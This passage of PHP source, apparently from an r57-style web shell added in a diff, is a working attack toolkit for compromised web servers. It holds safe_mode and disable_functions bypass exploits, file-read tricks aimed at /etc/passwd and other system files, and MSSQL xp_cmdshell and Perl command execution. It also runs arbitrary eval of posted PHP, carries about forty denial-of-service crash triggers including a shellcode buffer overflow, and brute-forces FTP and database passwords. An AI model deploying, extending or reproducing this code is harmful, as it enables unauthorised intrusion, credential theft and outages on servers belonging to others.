$error_reporting = @ini_get('error_reporting'); + error_reporting(E_WARNING); + @ini_set("display_errors", 1); + @ini_alter("display_errors", 1); + $root = "/"; + if($dir) $root = $dir; + $c = 0; $D = array(); + @set_error_handler("eh"); + $chars = "_-.0123456789abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; + for($i=0; $i < strlen($chars); $i++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}"; + $prevD = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD) + { + for($j=0; $j < strlen($chars); $j++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}"; + $prevD2 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD2) + { + for($p=0; $p < strlen($chars); $p++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}"; + $prevD3 = $D[count($D)-1]; + @glob($path."*"); + if($D[count($D)-1] != $prevD3) + { + for($r=0; $r < strlen($chars); $r++) + { + $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; + @glob($path."*"); + } + } + } + } + } + } + } + $D = array_unique($D); + foreach($D as $item) echo "{$item}\r\n"; + echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; + error_reporting($error_reporting); + } + elseif(@function_exists('realpath') && (!isset($_POST['glob']) || isset($_POST['realpath']))) + { + echo "PHP realpath() listing directory Safe_mode bypass Exploit\r\n\r\n"; + if(!$dir){$dir='/etc/';}; + if(!empty($_POST['end_rlph'])){$end_rlph=$_POST['end_rlph'];}else{$end_rlph='';} + if(!empty($_POST['n_rlph'])){$n_rlph=$_POST['n_rlph'];}else{$n_rlph='3';} + + if($realpath=realpath($dir.'/')){echo $realpath."\r\n";} + if($end_rlph!='' && $realpath=realpath($dir.'/'.$end_rlph)){echo $realpath."\r\n";} + foreach($presets_rlph as $preset_rlph){ + if($realpath=realpath($dir.'/'.$preset_rlph.$end_rlph)){echo $realpath."\r\n";} + } + for($i=0; $i < strlen($chars_rlph); $i++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=1){continue;}; + for($j=0; $j < strlen($chars_rlph); $j++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=2){continue;}; + for($x=0; $x < strlen($chars_rlph); $x++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=3){continue;}; + for($y=0; $y < strlen($chars_rlph); $y++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=4){continue;}; + for($z=0; $z < strlen($chars_rlph); $z++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}".$end_rlph)){echo $realpath."\r\n";} + if($n_rlph<=5){continue;}; + for($w=0; $w < strlen($chars_rlph); $w++){ + if($realpath=realpath($dir."/{$chars_rlph[$i]}{$chars_rlph[$j]}{$chars_rlph[$x]}{$chars_rlph[$y]}{$chars_rlph[$z]}{$chars_rlph[$w]}".$end_rlph)){echo $realpath."\r\n";} + } + } + } + } + } + } + echo "\r\n Generation time: ".round(@getmicrotime()-starttime,4)." sec\r\n"; + } + else echo $lang[$language.'_text29']; + break; + + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file']); + $cf = @curl_exec($ci); + echo htmlspecialchars($cf); + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + @mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )"); +/* @mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");*/ + @mysql_query("LOAD DATA LOCAL INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table"); + $r = @mysql_query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + @mysql_query("DROP TABLE IF EXISTS temp_r57_table"); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo htmlspecialchars($row[0])."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + $temp=tempnam($dir, "fname"); + if (@file_exists($temp)) @unlink($temp); + $extra = "-C ".$_POST['test5_file']." -X $temp"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $str = moreread($temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo htmlspecialchars($dir_list[$i])."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo htmlspecialchars($str); + @imap_close($stream); + break; + case 'test8': + $temp=@tempnam($_POST['test8_file2'], "copytemp"); + $str = readzlib($_POST['test8_file1'],$temp); + echo htmlspecialchars($str); + @unlink($temp); + break; + + case 'test9': + @ini_restore("safe_mode"); + @ini_restore("open_basedir"); + $str = moreread($_POST['test9_file']); + echo htmlspecialchars($str); + break; + case 'test10': + @ob_clean(); + $error_reporting = @ini_get('error_reporting'); + error_reporting(E_ALL ^ E_NOTICE); + @ini_set("display_errors", 1); + @ini_alter("display_errors", 1); + $str=@fopen($_POST['test10_file'],"r"); + while(!feof($str)){print htmlspecialchars(fgets($str));} + fclose($str); + error_reporting($error_reporting); + break; + case 'test11': + @ob_clean(); + $temp = 'zip://'.$_POST['test11_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test12': + @ob_clean(); + $temp = 'compress.bzip2://'.$_POST['test12_file']; + $str = moreread($temp); + echo htmlspecialchars($str); + break; + case 'test13': + @error_log($_POST['test13_file1'], 3, "php://../../../../../../../../../../../".$_POST['test13_file2']); + echo $lang[$language.'_text61']; + break; + case 'test14': + @session_save_path($_POST['test14_file2']."\0;$tempdir"); + @session_start(); + @$_SESSION[php]=$_POST['test14_file1']; + echo $lang[$language.'_text61']; + break; + case 'test15': + @readfile($_POST['test15_file1'], 3, "php://../../../../../../../../../../../".$_POST['test15_file2']); + echo $lang[$language.'_text61']; + + break; + case 'test_5_2_6': +echo getcwd()."\n"; +chdir($_POST['test_5_2_6']); +echo getcwd()."\n"; + break; + + + case 'test2_5_2_6': +var_dump(posix_access($_POST['test15_file1'])); + + break; + + case 'test_5_2_4': +//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass + +//author: shinnai +//mail: shinnai[at]autistici[dot]org +//site: http://shinnai.altervista.org + +//Tested on xp Pro sp2 full patched, worked both from the cli and on apache + +//Technical details: +//ionCube version: 6.5 +//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable) +//url: www.egyspider.eu + +//php.ini settings: +//safe_mode = On +//disable_functions = ioncube_read_file, readfile + +//Description: +//This is useful to obtain juicy informations but also to retrieve source +//code of php pages, password files, etc... you just need to change file path. +//Anyway, don't worry, nobody will read your obfuscated code :) + +//greetz to: BlackLight for help me to understand better PHP + +//P.S. +//This extension contains even an interesting ioncube_write_file function... + +if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required! You are now can establish any order"); + +$path = str_repeat("..\\", 20); + +$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :) + +$MyBoot_ioncube = ioncube_read_file($path."boot.ini"); + +echo $MyBoot_readfile; + +echo "<br><br>ionCube output:<br><br>"; + +echo $MyBoot_ioncube; + break; + + + + case 'egy_perl': +if(!extension_loaded('perl'))die('perl extension is not loaded'); +if(!isset($_GET))$_GET=&$HTTP_GET_VARS; +if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls'; +$perl=new perl(); +echo "<textarea rows='25' cols='75'>"; +$perl->eval("system('".$_GET['cmd']."')"); +echo "</textarea>"; +$_GET['cmd']=htmlspecialchars($_GET['cmd']); + break; + + break; + case 'egy_4_2_0': + for ($i = 0; $i < 60000; $i++) + { + if (($tab = @posix_getpwuid($i)) != NULL) + { + echo $tab['name'].":"; + echo $tab['passwd'].":"; + echo $tab['uid'].":"; + echo $tab['gid'].":"; + echo $tab['gecos'].":"; + echo $tab['dir'].":"; + echo $tab['shell']."<br>"; + } + } + break; + + + case 'egy_5_2_3': +//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass + +//author: egy spider +//mail: egy_spider@hotmail.com +//site: http://egyspider.eu + +//Tested on xp Pro sp2 full patched, worked both from the cli and on apache + +//Thanks to rgod for all his precious advises :) + +//I set php.ini in this way: +//safe_mode = On +//disable_functions = system +//if you launch the exploit from the cli, cmd.exe will be wxecuted +//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager + +if (!extension_loaded("win32std")) die("win32std extension required!"); +system("cmd.exe"); //just to be sure that protections work well +win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe"); + break; + + break; + + + case 'test16': + if (@fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61']; + break; + case 'test17_1': + @unlink('symlinkread'); + @symlink('a/a/a/a/a/a/', 'dummy'); + @symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'], 'symlinkread'); + @unlink('dummy'); + while (1) + { + @symlink('.', 'dummy'); + @unlink('dummy'); + } + break; + case 'test17_2': + $str=''; + while (strlen($str) < 3) { +/* $str = moreread('symlinkread');*/ + $str = @file_get_contents('symlinkread'); + if($str){ @ob_clean(); echo htmlspecialchars($str);} + } + break; + case 'test17_3': + $dir = $files = array(); + if(@version_compare(@phpversion(),"5.0.0")>=0){ + while (@count($dir) < 3) { + $dir=@scandir('symlinkread'); + if (@count($dir) > 2) {@ob_clean(); @print_r($dir); } + } + } + else { + while (@count($files) < 3) { + $dh = @opendir('symlinkread'); + while (false !== ($filename = @readdir($dh))) { + $files[] = $filename; + } + if(@count($files) > 2){@ob_clean(); @print_r($files); } + } + } + break; + case 'test18': + @putenv("TMPDIR=".$_POST['test18_file2']); + @ini_set("session.save_path", ""); + @ini_alter("session.save_path", ""); + @session_start(); + @$_SESSION[php]=$_POST['test18_file1']; + echo $lang[$language.'_text61']; + break; + case 'test19': + if(empty($_POST['test19_port'])) { $_POST['test19_port'] = "3306"; } + $m = new mysqli('localhost',$_POST['test19_ml'],$_POST['test19_mp'],$_POST['test19_md'],$_POST['test19_port']); + if(@mysqli_connect_errno()){ echo "[-] ERROR! Can't connect to mysqli server: ".mysqli_connect_error() ;}; + $m->options(MYSQLI_OPT_LOCAL_INFILE, 1); + $m->set_local_infile_handler("r"); + $m->query("DROP TABLE IF EXISTS temp_r57_table"); + $m->query("CREATE TABLE temp_r57_table ( 'file' LONGBLOB NOT NULL )"); + $m->query("LOAD DATA LOCAL INFILE \"".$_POST['test19_file']."\" INTO TABLE temp_r57_table"); + $r = $m->query("SELECT * FROM temp_r57_table"); + while(($r_sql = @mysqli_fetch_array($r))) { echo @htmlspecialchars($r_sql[0])."\r\n"; } + $m->query("DROP TABLE IF EXISTS temp_r57_table"); + $m->close(); + break; + } +} + +if((!$safe_mode) && ($_POST['cmd']!="php_eval") && ($_POST['cmd']!="mysql_dump") && ($_POST['cmd']!="db_query") && ($_POST['cmd']!="ftp_brute") && ($_POST['cmd']!="db_brute")){ + $cmd_rep = ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; } +}/*elseif($safe_mode){ + $cmd_rep = safe_ex($_POST['cmd']); + if(!$unix) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; } +} +*/ + +switch($_POST['cmd']) +{ + case 'dos1': + function a() { a(); } a(); + break; + case 'dos2': + @pack("d4294967297", 2); + break; + case 'dos3': + $a = "a";@unserialize(@str_replace('1', 2147483647, @serialize($a))); + break; + case 'dos4': + $t = array(1);while (1) {$a[] = &$t;}; + break; + case 'dos5': + @dl("sqlite.so");$db = new SqliteDatabase("foo"); + break; + case 'dos6': + preg_match('/(.(?!b))*/', @str_repeat("a", 10000)); + break; + case 'dos7': + @str_replace("A", str_repeat("B", 65535), str_repeat("A", 65538)); + break; + case 'dos8': + @shell_exec("killall -11 httpd"); + break; + case 'dos9': + function cx(){ @tempnam("/www/", '../../../../../..'.$tempdir.'cx'); cx(); } cx(); + break; + case 'dos10': + $a = @str_repeat ("A",438013);$b = @str_repeat ("B",951140);@wordwrap ($a,0,$b,0); + break; + case 'dos11': + @array_fill(1,123456789,"Infigo-IS"); + break; + case 'dos12': + @substr_compare("A","A",12345678); + break; + case 'dos13': + @unserialize("a:2147483649:{"); + break; + case 'dos14': + $Data = @str_ireplace("\n", "<br>", $Data); + break; + case 'dos15': + function toUTF($x) {return chr(($x >> 6) + 192) . chr(($x & 63) + 128);} + $str1 = "";for($i=0; $i < 64; $i++){ $str1 .= toUTF(977);} + @htmlentities($str1, ENT_NOQUOTES, "UTF-8"); + break; + case 'dos16': + $r = @zip_open("x.zip");$e = @zip_read($r);$x = @zip_entry_open($r, $e); + for ($i=0; $i<1000; $i++) $arr[$i]=array(array("")); + unset($arr[600]);@zip_entry_read($e, -1);unset($arr[601]); + break; + case 'dos17': + $z = "UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU"; + $y = "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD"; + $x = "AQ "; + unset($z);unset($y);$x = base64_decode($x);$y = @sqlite_udf_decode_binary($x);unset($x); + break; + case 'dos18': + $MSGKEY = 519052;$msg_id = @msg_get_queue ($MSGKEY, 0600); + if (!@msg_send ($msg_id, 1, 'AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH', false, true, $msg_err)) + echo "Msg not sent because $msg_err\n"; + if (@msg_receive ($msg_id, 1, $msg_type, 0xffffffff, $_SESSION, false, 0, $msg_error)) { + echo "$msg\n"; + } else { echo "Received $msg_error fetching message\n"; break; } + @msg_remove_queue ($msg_id); + break; + case 'dos19': + $url = "php://filter/read=OFF_BY_ONE./resource=/etc/passwd"; @fopen($url, "r"); + break; + case 'dos20': + $hashtable = str_repeat("A", 39); + $hashtable[5*4+0]=chr(0x58);$hashtable[5*4+1]=chr(0x40);$hashtable[5*4+2]=chr(0x06);$hashtable[5*4+3]=chr(0x08); + $hashtable[8*4+0]=chr(0x66);$hashtable[8*4+1]=chr(0x77);$hashtable[8*4+2]=chr(0x88);$hashtable[8*4+3]=chr(0x99); + $str = 'a:100000:{s:8:"AAAABBBB";a:3:{s:12:"0123456789AA";a:1:{s:12:"AAAABBBBCCCC";i:0;}s:12:"012345678AAA";i:0;s:12:"012345678BAN";i:0;}'; + for ($i=0; $i<65535; $i++) { $str .= 'i:0;R:2;'; } + $str .= 's:39:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:39:"'.$hashtable.'";i:0;R:3;'; + @unserialize($str); + break; + case 'dos21': + imagecreatetruecolor(1234,1073741824); + break; + case 'dos22': + imagecopyresized(imagecreatetruecolor(0x7fffffff, 120),imagecreatetruecolor(120, 120), 0, 0, 0, 0, 0x7fffffff, 120, 120, 120); + break; + case 'dos23': + $a = str_repeat ("A",9989776); $b = str_repeat("/", 2798349); iconv_substr($a,0,1,$b); + break; + case 'dos24': + setlocale(LC_COLLATE, str_repeat("A", 34438013)); + break; + case 'dos25': + glob(str_repeat("A", 9638013)); + break; + case 'dos26': + glob("a",-1); + break; + case 'dos27': + fnmatch("*[1]e", str_repeat("A", 9638013)); + break; + case 'dos28': + if (extension_loaded("gd")){ $buff = str_repeat("A",9999); $res = imagepsloadfont($buff); echo "boom!!\n";} + break; + case 'dos29': + if(function_exists('msql_connect')){ msql_pconnect(str_repeat('A',49424).'BBBB'); msql_connect(str_repeat('A',49424).'BBBB');} + break; + case 'dos30': + $a=str_repeat("A", 65535); $b=1; $c=str_repeat("A", 65535); chunk_split($a,$b,$c); + break; + case 'dos31': + if (extension_loaded("win32std") ) { win_browse_file( 1, NULL, str_repeat( "\x90", 264 ), NULL, array( "*" => "*.*" ) );} + break; + case 'dos32': + if (extension_loaded( "iisfunc" ) ){ $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode );} + break; + case 'dos33': + $buff = str_repeat("\x41", 250);$get_EIP = "\x42\x42";$get_ESP = str_repeat("\x43", 100);$get_EBP = str_repeat("\x44", 100);ntuser_getuserlist($buff.$get_EIP.$get_ESP.$get_EBP); + break; + case 'dos34': + if (extension_loaded("bz2")){ $buff = str_repeat("a",1000); com_print_typeinfo($buff);} + break; + case 'dos35': + $a = str_repeat("/", 4199000); iconv(1, $a, 1); + break; + case 'dos36': + $a = str_repeat("/", 2991370); iconv_mime_decode_headers(0, 1, $a); + break; + case 'dos37': + $a = str_repeat("/", 3799000); iconv_mime_decode(1, 0, $a); + break; + case 'dos39': + sprintf("[%'A2147483646s]\n", "A"); + break; + break; + case 'dos40': +// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow +// poc exploit (and safe_mode bypass) +// windows 2000 sp3 en / seh overwrite +// by rgod +// site: http://egyspider.eu + +// u can easily adjust for php5 +// this as my little contribute to MOPB + +$____scode= +"\xeb\x1b". +"\x5b". +"\x31\xc0". +"\x50". +"\x31\xc0". +"\x88\x43\x59". +"\x53". +"\xbb\xca\x73\xe9\x77". //WinExec +"\xff\xd3". +"\x31\xc0". +"\x50". +"\xbb\x5c\xcf\xe9\x77". //ExitProcess +"\xff\xd3". +"\xe8\xe0\xff\xff\xff". +"\x63\x6d\x64". +"\x2e". +"\x65". +"\x78\x65". +"\x20\x2f". +"\x63\x20". +"start notepad & "; + + $eip="\xdc\xf5\x12"; + $____suntzu=str_repeat("\x90",100); + $____suntzu.=$____scode; + $____suntzu.=str_repeat("a",2460 - strlen($____scode)); + $____suntzu.=$eip; + break; + case 'zend': + if(empty($_POST['zend'])){ +} else { + +$dezend=$_POST['zend']; +include($_POST['zend']); +print_r($GLOBALS); +require_once("$dezend"); +echo "</textarea></p>"; +} +break; + case 'dos38': + $a = str_repeat("/", 9791999); iconv_strlen(1, $a); + break; +} +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} + +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['ftp_login'])){ + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$_POST['ftp_login'],$user)) { echo "[+] ".$_POST['ftp_login'].":$user - success\r\n"; $suc++; } + @ftp_close($connection); + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="db_brute") + { + $suc = 0; + if($_POST['brute_method']=='passwd'){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = $user; + if($sql->connect()) { echo "[+] $user:$user - success\r\n"; $suc++; } + } + if(isset($_POST['reverse'])) + { + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $user; + $sql->pass = strrev($user); + if($sql->connect()) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } + } + } + }else if(($_POST['brute_method']=='dic') && isset($_POST['mysql_l'])){ + foreach($users as $user) + { + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $user; + if($sql->connect()) { echo "[+] ".$_POST['mysql_l'].":$user - success\r\n"; $suc++; } + } + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse']) && ($_POST['brute_method']=='passwd')) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } + +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { morewrite($_POST['dif_name'], "mysql_dump\r\n"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if(@is_writable($_POST['dif_name'])){ foreach($sql->dump as $v){ morewrite($_POST['dif_name'], $v."\r\n");} } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } + +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; + +function div_title($title, $id) +{ + return '<a style="cursor: pointer;" onClick="change_divst(\''.$id.'\');">'.$title.'</a>'; +} +function div($id) + { + if(isset($_COOKIE[$id]) && ($_COOKIE[$id]==0)) return '<div id="'.$id.'" style="display: none;">'; + $divid=array('id5','id6','id8','id9','id10','id11','id16','id24','id25','id26','id27','id28','id29','id33','id34','id35','id37','id38','id39'); + if(empty($_COOKIE[$id]) && @in_array($id,$divid)) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } + +if(!$safe_mode){ +echo $fs.$table_up1.div_title($lang[$language.'_text2'],'id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.div_title($lang[$language.'_text28'],'id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.div_title($lang[$language.'_text42'],'id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; + + + + + + + +echo $fs.$table_up1.div_title($lang[$language.'_text210'],'id20').$table_up2.div('id20').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','zend',85,(!empty($_POST['zend'])?($_POST['zend']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'zend').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; + +{ +echo $fs.$table_up1.div_title($lang[$language.'_text57'],'id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} + +if($unix && @function_exists('touch')){ +echo $fs.$table_up1.div_title($lang[$language.'_text128'],'id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','file_name',40,(!empty($_POST['file_name'])?($_POST['file_name']):($_SERVER["SCRIPT_FILENAME"]))) +.ws(4)."<b>".$lang[$language.'_text26'].ws(2).$lang[$language.'_text59'].$arrow."</b>" +.ws(2).in('text','file_name_r',40,(!empty($_POST['file_name_r'])?($_POST['file_name_r']):("")))); +echo sr(15,"<b> or set Day".$arrow."</b>", +' +<select name="day" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> +</select>' +.ws(4)."<b>Month".$arrow."</b>" +.' +<select name="month" size="1"> +<option value="January">January</option> +<option value="February">February</option> +<option value="March">March</option> +<option value="April">April</option> +<option value="May">May</option> +<option value="June">June</option> +<option value="July">July</option> +<option value="August">August</option> +<option value="September">September</option> +<option value="October">October</option> +<option value="November">November</option> +<option value="December">December</option> +</select>' +.ws(4)."<b>Year".$arrow."</b>" +.' +<select name="year" size="1"> +<option value="1998">1998</option> +<option value="1999">1999</option> +<option value="2000">2000</option> +<option value="2001">2001</option> +<option value="2002">2002</option> +<option value="2003">2003</option> +<option value="2004">2004</option> +<option value="2005">2005</option> +<option value="2006">2006</option> +<option value="2006">2007</option> +<option value="2006">2008</option> +<option value="2006">2009</option> +<option value="2006">2010</option> +</select>' +.ws(4)."<b>Hour".$arrow."</b>" +.' +<select name="chasi" size="1"> +<option value="01">01</option> +<option value="02">02</option> +<option value="03">03</option> +<option value="04">04</option> +<option value="05">05</option> +<option value="06">06</option> +<option value="07">07</option> +<option value="08">08</option> +<option value="09">09</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +</select>' +.ws(4)."<b>Minute".$arrow."</b>" +.' +<select name="minutes" size="1"> +<option value="01">1</option> +<option value="02">2</option> +<option value="03">3</option> +<option value="04">4</option> +<option value="05">5</option> +<option value="06">6</option> +<option value="07">7</option> +<option value="08">8</option> +<option value="09">9</option> +<option value="10">10</option> +<option value="11">11</option> +<option value="12">12</option> +<option value="13">13</option> +<option value="14">14</option> +<option value="15">15</option> +<option value="16">16</option> +<option value="17">17</option> +<option value="18">18</option> +<option value="19">19</option> +<option value="20">20</option> +<option value="21">21</option> +<option value="22">22</option> +<option value="23">23</option> +<option value="24">24</option> +<option value="25">25</option> +<option value="26">26</option> +<option value="27">27</option> +<option value="28">28</option> +<option value="29">29</option> +<option value="30">30</option> +<option value="31">31</option> 